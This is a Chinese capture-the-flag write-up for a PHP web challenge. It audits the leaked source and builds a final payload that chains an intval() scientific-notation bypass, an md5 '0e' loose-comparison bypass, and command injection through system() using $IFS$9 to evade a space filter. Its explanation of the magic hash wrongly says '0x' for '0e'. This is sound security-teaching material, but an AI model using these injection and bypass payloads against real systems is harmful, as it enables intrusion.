感觉这个题目是几个知识点的总和,根据知识点来出的题目。
考察点:三重绕过,intval()函数进行科学计数法的绕过,md5碰撞,命令执行,php绕过过滤空格
目录
1. 源码泄露
查看robots.txt,
-
User-agent: *
-
Disallow: /fAke_f1agggg.php
继续查看/fAke_f1agggg.php,
这个是个虚假的flag,但是我们可以根据响应头,看到有个提示:fl4g.php,跳转,得到源码
但是,我的编码有点问题,不是很友好,中文乱码,
2. 浏览器调整编码
我用的是firefox浏览器,点击三个杠的图标,然后继续点击更多,
然后,点击文字编码
选择unicode编码方式即可。得到源码
-
<?php
-
header(
'Content-type:text/html;charset=utf-8');
-
error_reporting(
0);
-
highlight_file(
__file__);
-
-
-
//level 1
-
if (
isset($_GET[
'num'])){
-
$num = $_GET[
'num'];
-
if(intval($num) <
2020 && intval($num +
1) >
2021){
-
echo
"我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>";
-
}
else{
-
die(
"金钱解决不了穷人的本质问题");
-
}
-
}
else{
-
die(
"去非洲吧");
-
}
-
//level 2
-
if (
isset($_GET[
'md5'])){
-
$md5=$_GET[
'md5'];
-
if ($md5==md5($md5))
-
echo
"想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>";
-
else
-
die(
"我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲");
-
}
else{
-
die(
"去非洲吧");
-
}
-
-
//get flag
-
if (
isset($_GET[
'get_flag'])){
-
$get_flag = $_GET[
'get_flag'];
-
if(!strstr($get_flag,
" ")){
-
$get_flag = str_ireplace(
"cat",
"wctf2020", $get_flag);
-
echo
"想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>";
-
system($get_flag);
-
}
else{
-
die(
"快到非洲了");
-
}
-
}
else{
-
die(
"去非洲吧");
-
}
-
?>
2. 代码审计
大致分析一下:分为三个部分:level1,level2,get flag。三个部分。
(1)level1
-
//level 1
-
if (
isset($_GET[
'num'])){
-
$num = $_GET[
'num'];
-
if(intval($num) <
2020 && intval($num +
1) >
2021){
//需要$num小于2020但是+1之后大于2021
-
echo
"我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>";
-
}
else{
-
die(
"金钱解决不了穷人的本质问题");
-
}
-
}
else{
-
die(
"去非洲吧");
-
}
我们GET方式传入$num参数,然后实现intval($num) < 2020 && intval($num + 1) > 2021
intval() 函数用于获取变量的整数值。
查阅资料,发现intval有个神奇的地方,直接看测试吧
-
<?php
-
$a =
'2e4';
-
var_dump($a);
-
var_dump(intval($a));
-
$b = $a +
1;
-
echo $b.
"\n";
-
var_dump($b);
-
var_dump(intval($b));
-
结果:
-
string(
3)
"2e4"
-
int(
2)
-
20001
-
float(
20001)
-
int(
20001)
所以对字符串2e4,intval()函数只会讲其中的2给提取出来,也就是2。
我们知道php还有个强制转换的机制,如果我们将一个字符串和一个数字相加,首先php会将字符串转换成数字,然后将两个数字相加。
而2e4字符串转换成数字是浮点数20000,然后再加0就是浮点数20001,再intval将整数部分提取出来,就是(int)20001。所以可以进行绕过。
(2) level2
-
//level 2
-
if (
isset($_GET[
'md5'])){
-
$md5=$_GET[
'md5'];
-
if ($md5==md5($md5))
//需要找到一个字符串满足它本身和它的md5编码值弱比较相同
-
echo
"想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>";
-
else
-
die(
"我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲");
-
}
else{
-
die(
"去非洲吧");
-
}
看到==,就想到了php弱比较,php会将以0x开头的字符串,当进行==弱比较时,会认为是相同的。
所以就变成了找到一个以0x开头的字符串s,并且md5(s)也是以0x开头的字符串。
0e215962017
-
//第二个md5绕过
-
$c =
"0e215962017";
-
echo
"$c".
"\n";
-
$d = md5($c);
-
echo
"$d".
"\n";
-
if ($c==$d)
-
echo
"成功绕过".
"\n";
结果:
-
0e215962017
-
0e291242476940776845150308577824
-
成功绕过
(3) get flag
-
//get flag
-
if (
isset($_GET[
'get_flag'])){
-
$get_flag = $_GET[
'get_flag'];
-
if(!strstr($get_flag,
" ")){
//就是说当$get_flag中没有空格( )的时候,执行下面的语句
-
$get_flag = str_ireplace(
"cat",
"wctf2020", $get_flag);
-
echo
"想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>";
-
system($get_flag);
-
}
else{
-
die(
"快到非洲了");
-
}
-
}
else{
-
die(
"去非洲吧");
-
}
strstr() 函数搜索字符串在另一字符串中的第一次出现,并且返回字符串的剩余部分。如果找不到要找的字符串,则返回false.
str_ireplace() 函数替换字符串中的一些字符(不区分大小写)。
我们需要传入的$get_flag,不存在空格,并且cat也会被替代为wctf2020,然后才会执行$get_flag。
先试试传入ls,查看目录文件
接下来就是查看文件fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag
关于tac
cat 和 tac 都是Linux打印文件的命令,但是cat是从第一行至最后一行顺序打印,而tac是最后一行至第一行反向打印。
本地测试
首先再一个文件夹中创建两个文件,flag和a.php
-
<?php
-
//a.php
-
-
system(
"ls");
-
echo
"<br>";
-
system(
"cat flag");
-
echo
"<br>";
-
system(
"tac flag");
-
?>
flag文件
-
//flag文件
-
这是flag
-
1
-
2
-
3
执行之后,得到
关于php中替代空格
可以用$IFS$9
代替空格
最终的payload:
fl4g.php?num=2e4&md5=0e215962017&get_flag=tac$IFS$9fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag
相关资料:
1. 关于md5绕过的一些东西
转载:https://blog.csdn.net/RABCDXB/article/details/115842444